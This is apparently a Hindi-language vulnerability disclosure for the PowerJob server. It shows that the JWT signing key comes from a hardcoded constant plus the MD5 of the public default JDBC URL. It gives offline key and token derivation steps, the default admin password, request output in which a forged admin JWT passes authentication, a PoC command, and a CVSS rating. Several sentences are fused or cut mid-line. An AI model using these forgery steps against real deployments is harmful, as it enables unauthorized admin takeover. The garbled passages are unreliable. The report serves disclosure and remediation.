
PowerJob सर्वर में एक गंभीर JWT साइनिंग कुंजी पूर्वानुमेयता भेद्यता प्रदर्शित करता है, जो ऑफ़लाइन कुंजी व्युत्पत्ति और टोकन जालसाजी की अनुमति देता है, जिससे एडमिन अधिग्रहण और OpenAPI प्रमाणीकरण बायपास संभव होता है।
PowerJob सर्वर की JWT (HS256) साइनिंग कुंजी डिफ़ॉल्ट JDBC URL के MD5 के साथ संयोजित हार्डकोडेड स्थिरांक को BASE64-डिकोड करके व्युत्पन्न की जाती है (DefaultSecretProvider / JwtServiceImpl)। JDBC URL डिफ़ॉल्ट परिनियोजन (docker-compose / application-daily.properties) में सार्वजनिक है, इसलिए एक हमलावर पूरी तरह से ऑफ़लाइन कुंजी व्युत्पन्न कर सकता है और किसी भी उपयोगकर्ता (एडमिन सहित) के लिए एक वैध JWT जाली बना सकता है; OpenAPI ऐप टोकन भी इसी प्रकार OpenAPI प्रमाणीकरण को बायपास करने के लिए जाली बनाया जा सकता है।
application-daily.properties jdbc:mysql://powerjob-mysql:3306/powerjob-daily?... को प्लेनटेक्स्ट में उजागर करता हैpowerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: हार्डकोडेड BASE_SECURITY स्थिरांक; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken) में PWJB खातों के लिए एक द्वितीयक जाँच होती है (DigestUtils.rePassword(password, username)), लेकिन:
appId/password/encryptType) प्रमाणीकरण को बायपास करने के लिए सीधे जाली बनाया जा सकता है (OpenApiSecurityServiceImpl:87-105);पर्यावरण: स्थानीय PowerJob सर्वर (127.0.0.1:7700, JDBC URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true)। हमलावर सब कुछ केवल सार्वजनिक जानकारी से ऑफ़लाइन व्युत्पन्न करता है:
# ① encryptedToken (= rePassword(password, username)) व्युत्पन्न करें; डिफ़ॉल्ट पासवर्ड के साथ गणना योग्य
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # DB user_info.token_login_verify_info के बाइट-दर-बाइट बराबर ✅
# ② HS256 साइनिंग कुंजी = BASE64(BASE_SECURITY + MD5(JDBC_URL)) व्युत्पन्न करें
secret = BASE_SECURITY + md5(jdbc_url) # 101-बाइट कुंजी
# ③ एक ADMIN वेब JWT जाली बनाएं (दावे: username=PWJB_ADMIN, encryptedToken=① का परिणाम, sub=PowerJob)
वास्तविक परिणाम (जाली टोकन प्रमाणीकरण पास करता है):
[*] /namespace/list बिना टोकन :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list जाली JWT :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ जाली टोकन एडमिन के रूप में प्रमाणित होता है और वास्तविक डेटा लौटाता है (आधार रेखा UserNotLoggedIn के साथ अस्वीकृत होती है)।
मुख्य बिंदु:
encryptedToken DB-संग्रहीत मान से बाइट-दर-बाइट मेल खाता है (ADMIN_b82a450701f6a71723fb99931fe35e18_b)।BASE_SECURITY + सार्वजनिक डिफ़ॉल्ट JDBC URL के MD5 द्वारा निर्धारित होती है → बिना किसी क्रेडेंशियल के ऑफ़लाइन व्युत्पन्न योग्य।encryptedToken डिफ़ॉल्ट पासवर्ड (powerjob_admin, खोज PJ-02) के साथ ऑफ़लाइन पुनर्गणना योग्य है → पूर्ण एडमिन अधिग्रहण।encryptedToken बेमेल द्वारा अवरुद्ध हो जाती है, लेकिन OpenAPI ऐप टोकन पथ (दावे appId/password/encryptType, OpenApiSecurityServiceImpl:87-105) अभी भी OpenAPI प्रमाणीकरण को बायपास करने के लिए स्वतंत्र रूप से जाली बनाया जा सकता है।भले ही डिफ़ॉल्ट पासवर्ड बदल दिया जाए, भेद्यता अन्य हमले वैक्टरों के माध्यम से बनी रहती है:
encryptedToken प्राप्त करता है, वह उस टोकन को अनुमान योग्य साइनिंग कुंजी के साथ जोड़कर उस विशिष्ट उपयोगकर्ता के लिए JWT जाली बना सकता है।encryptedToken बेमेल समस्या को पूरी तरह से बायपास करता है, क्योंकि जाली टोकन में अब वास्तविक डेटाबेस रिकॉर्ड से व्युत्पन्न एक वैध encryptedToken होता है।PoC: powerjob_jwt_key.py 192.168.49.128:7700


encryptedToken द्वितीयक जाँच लागू करें।CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 क्रिटिकल (डिफ़ॉल्ट पासवर्ड / OpenAPI के साथ संयुक्त)